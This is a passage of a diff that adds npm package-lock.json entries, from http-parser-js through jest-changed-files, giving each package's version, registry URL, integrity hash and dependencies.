+      "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz",
+      "integrity": "sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q=="
+    },
+    "http-proxy": {
+      "version": "1.18.1",
+      "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz",
+      "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==",
+      "requires": {
+        "eventemitter3": "^4.0.0",
+        "follow-redirects": "^1.0.0",
+        "requires-port": "^1.0.0"
+      }
+    },
+    "http-proxy-agent": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
+      "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
+      "requires": {
+        "@tootallnate/once": "1",
+        "agent-base": "6",
+        "debug": "4"
+      }
+    },
+    "http-proxy-middleware": {
+      "version": "2.0.9",
+      "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.9.tgz",
+      "integrity": "sha512-c1IyJYLYppU574+YI7R4QyX2ystMtVXZwIdzazUIPIJsHuWNd+mho2j+bKoHftndicGj9yh+xjd+l0yj7VeT1Q==",
+      "requires": {
+        "@types/http-proxy": "^1.17.8",
+        "http-proxy": "^1.18.1",
+        "is-glob": "^4.0.1",
+        "is-plain-obj": "^3.0.0",
+        "micromatch": "^4.0.2"
+      }
+    },
+    "https-proxy-agent": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
+      "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+      "requires": {
+        "agent-base": "6",
+        "debug": "4"
+      }
+    },
+    "human-signals": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz",
+      "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="
+    },
+    "iconv-lite": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
+      "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+      "requires": {
+        "safer-buffer": ">= 2.1.2 < 3.0.0"
+      }
+    },
+    "icss-utils": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz",
+      "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==",
+      "requires": {}
+    },
+    "idb": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/idb/-/idb-7.1.0.tgz",
+      "integrity": "sha512-Wsk07aAxDsntgYJY4h0knZJuTxM73eQ4reRAO+Z1liOh8eMCJ/MoDS8fCui1vGT9mnjtl1sOu3I2i/W1swPYZg=="
+    },
+    "identity-obj-proxy": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz",
+      "integrity": "sha1-lNK9qWCERT7zb7xarsN+D3nx/BQ=",
+      "requires": {
+        "harmony-reflect": "^1.4.6"
+      }
+    },
+    "ignore": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz",
+      "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ=="
+    },
+    "immer": {
+      "version": "9.0.15",
+      "resolved": "https://registry.npmjs.org/immer/-/immer-9.0.15.tgz",
+      "integrity": "sha512-2eB/sswms9AEUSkOm4SbV5Y7Vmt/bKRwByd52jfLkW4OLYeaTP3EEiJ9agqU0O/tq6Dk62Zfj+TJSqfm1rLVGQ=="
+    },
+    "import-fresh": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz",
+      "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==",
+      "requires": {
+        "parent-module": "^1.0.0",
+        "resolve-from": "^4.0.0"
+      },
+      "dependencies": {
+        "resolve-from": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
+          "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g=="
+        }
+      }
+    },
+    "import-local": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.1.0.tgz",
+      "integrity": "sha512-ASB07uLtnDs1o6EHjKpX34BKYDSqnFerfTOJL2HvMqF70LnxpjkzDB8J44oT9pu4AMPkQwf8jl6szgvNd2tRIg==",
+      "requires": {
+        "pkg-dir": "^4.2.0",
+        "resolve-cwd": "^3.0.0"
+      }
+    },
+    "imurmurhash": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
+      "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA=="
+    },
+    "indent-string": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+      "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg=="
+    },
+    "inflight": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+      "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+      "requires": {
+        "once": "^1.3.0",
+        "wrappy": "1"
+      }
+    },
+    "inherits": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+    },
+    "ini": {
+      "version": "1.3.8",
+      "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+      "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
+    },
+    "internal-slot": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz",
+      "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==",
+      "requires": {
+        "get-intrinsic": "^1.1.0",
+        "has": "^1.0.3",
+        "side-channel": "^1.0.4"
+      }
+    },
+    "ipaddr.js": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.0.1.tgz",
+      "integrity": "sha512-1qTgH9NG+IIJ4yfKs2e6Pp1bZg8wbDbKHT21HrLIeYBTRLgMYKnMTPAuI3Lcs61nfx5h1xlXnbJtH1kX5/d/ng=="
+    },
+    "is-arrayish": {
+      "version": "0.2.1",
+      "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
+      "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="
+    },
+    "is-bigint": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz",
+      "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==",
+      "requires": {
+        "has-bigints": "^1.0.1"
+      }
+    },
+    "is-binary-path": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+      "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+      "requires": {
+        "binary-extensions": "^2.0.0"
+      }
+    },
+    "is-boolean-object": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz",
+      "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "has-tostringtag": "^1.0.0"
+      }
+    },
+    "is-callable": {
+      "version": "1.2.7",
+      "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
+      "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA=="
+    },
+    "is-core-module": {
+      "version": "2.10.0",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.10.0.tgz",
+      "integrity": "sha512-Erxj2n/LDAZ7H8WNJXd9tw38GYM3dv8rk8Zcs+jJuxYTW7sozH+SS8NtrSjVL1/vpLvWi1hxy96IzjJ3EHTJJg==",
+      "requires": {
+        "has": "^1.0.3"
+      }
+    },
+    "is-date-object": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz",
+      "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==",
+      "requires": {
+        "has-tostringtag": "^1.0.0"
+      }
+    },
+    "is-docker": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
+      "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ=="
+    },
+    "is-extglob": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+      "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="
+    },
+    "is-fullwidth-code-point": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+      "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+    },
+    "is-generator-fn": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",
+      "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ=="
+    },
+    "is-glob": {
+      "version": "4.0.3",
+      "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+      "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+      "requires": {
+        "is-extglob": "^2.1.1"
+      }
+    },
+    "is-module": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz",
+      "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g=="
+    },
+    "is-negative-zero": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz",
+      "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA=="
+    },
+    "is-number": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+      "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="
+    },
+    "is-number-object": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz",
+      "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==",
+      "requires": {
+        "has-tostringtag": "^1.0.0"
+      }
+    },
+    "is-obj": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz",
+      "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg=="
+    },
+    "is-plain-obj": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz",
+      "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA=="
+    },
+    "is-potential-custom-element-name": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
+      "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ=="
+    },
+    "is-regex": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz",
+      "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "has-tostringtag": "^1.0.0"
+      }
+    },
+    "is-regexp": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz",
+      "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA=="
+    },
+    "is-root": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz",
+      "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg=="
+    },
+    "is-shared-array-buffer": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz",
+      "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==",
+      "requires": {
+        "call-bind": "^1.0.2"
+      }
+    },
+    "is-stream": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
+      "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="
+    },
+    "is-string": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz",
+      "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==",
+      "requires": {
+        "has-tostringtag": "^1.0.0"
+      }
+    },
+    "is-symbol": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz",
+      "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==",
+      "requires": {
+        "has-symbols": "^1.0.2"
+      }
+    },
+    "is-typedarray": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
+      "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA=="
+    },
+    "is-weakref": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
+      "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==",
+      "requires": {
+        "call-bind": "^1.0.2"
+      }
+    },
+    "is-wsl": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
+      "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
+      "requires": {
+        "is-docker": "^2.0.0"
+      }
+    },
+    "isarray": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+      "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="
+    },
+    "isexe": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="
+    },
+    "istanbul-lib-coverage": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz",
+      "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw=="
+    },
+    "istanbul-lib-instrument": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.0.tgz",
+      "integrity": "sha512-6Lthe1hqXHBNsqvgDzGO6l03XNeu3CrG4RqQ1KM9+l5+jNGpEJfIELx1NS3SEHmJQA8np/u+E4EPRKRiu6m19A==",
+      "requires": {
+        "@babel/core": "^7.12.3",
+        "@babel/parser": "^7.14.7",
+        "@istanbuljs/schema": "^0.1.2",
+        "istanbul-lib-coverage": "^3.2.0",
+        "semver": "^6.3.0"
+      },
+      "dependencies": {
+        "semver": {
+          "version": "6.3.1",
+          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+          "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="
+        }
+      }
+    },
+    "istanbul-lib-report": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
+      "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==",
+      "requires": {
+        "istanbul-lib-coverage": "^3.0.0",
+        "make-dir": "^3.0.0",
+        "supports-color": "^7.1.0"
+      },
+      "dependencies": {
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "istanbul-lib-source-maps": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz",
+      "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==",
+      "requires": {
+        "debug": "^4.1.1",
+        "istanbul-lib-coverage": "^3.0.0",
+        "source-map": "^0.6.1"
+      }
+    },
+    "istanbul-reports": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.5.tgz",
+      "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==",
+      "requires": {
+        "html-escaper": "^2.0.0",
+        "istanbul-lib-report": "^3.0.0"
+      }
+    },
+    "jake": {
+      "version": "10.8.5",
+      "resolved": "https://registry.npmjs.org/jake/-/jake-10.8.5.tgz",
+      "integrity": "sha512-sVpxYeuAhWt0OTWITwT98oyV0GsXyMlXCF+3L1SuafBVUIr/uILGRB+NqwkzhgXKvoJpDIpQvqkUALgdmQsQxw==",
+      "requires": {
+        "async": "^3.2.3",
+        "chalk": "^4.0.2",
+        "filelist": "^1.0.1",
+        "minimatch": "^3.0.4"
+      },
+      "dependencies": {
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest/-/jest-27.5.1.tgz",
+      "integrity": "sha512-Yn0mADZB89zTtjkPJEXwrac3LHudkQMR+Paqa8uxJHCBr9agxztUifWCyiYrjhMPBoUVBjyny0I7XH6ozDr7QQ==",
+      "requires": {
+        "@jest/core": "^27.5.1",
+        "import-local": "^3.0.2",
+        "jest-cli": "^27.5.1"
+      }
+    },
+    "jest-changed-files": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-27.5.1.tgz",
+      "integrity": "sha512-buBLMiByfWGCoMsLLzGUUSpAmIAGnbR2KJoMN10ziLhOLvP4e0SlypHnAel8iqQXTrcbmfEY9sSqae5sgUsTvw==",
+      "requires": {
+        "@jest/types": "^27.5.1",
+        "execa": "^5.0.0",
+        "throat": "^6.0.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
